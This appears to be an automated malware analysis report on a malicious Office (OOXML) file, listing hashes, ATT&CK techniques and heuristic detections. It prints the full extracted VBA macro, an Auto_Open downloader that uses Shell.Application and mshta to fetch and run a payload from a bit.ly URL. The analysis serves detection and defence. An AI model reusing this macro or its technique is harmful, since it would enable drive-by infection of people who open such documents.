Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5f4023bf721668a0…

MALICIOUS

Office (OOXML)

8.6 KB First seen: 2021-09-17
MD5: be4fd7e402c3573cf52ba7e9dbcddced SHA-1: a8b17c8063e75b022b82fe5efd63f257926ccc74 SHA-256: 5f4023bf721668a0e753dde566f0182dd2d8847a95ab2e4e03674e63389a57be
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32 T1059.001 PowerShell

The sample is an OOXML document containing a VBA macro with an Auto_Open subroutine. This macro uses CreateObject to instantiate Shell.Application and then calls mshta.exe to download and execute a payload from the URL https://www.bitly.com/eydnjkasdjkashdjksa. The use of mshta.exe indicates a likely attempt to download and execute a second-stage payload, which is a common technique for malware distribution.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/eydnjkasdjkashdjksa In document text (OOXML body / shared strings)

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1327 bytes
SHA-256: 40d774ace42fc06104fad3fd9e3c0a11cfc58af9acdbcb7299c1b0e126be092a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function lol()

lol = "mshta"
End Function

Attribute VB_Name = "Module1"
Sub Auto_Open()


Sheet2.microsoft.ShellExecute Sheet3.lol, Sheet1.hahaha
End _
Sub





Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function microsoft()
Set Outlook = VBA.CreateObject("Outlook.Application")
Set microsoft = Outlook.CreateObject("Shell.Application")


End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function hahaha()

hahaha = "https://www.bitly.com/eydnjkasdjkashdjksa"
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 20480 bytes
SHA-256: 661273e397d31cbf93dffe642f759603fce1a5ea45eb00ad161c00e7c8104261

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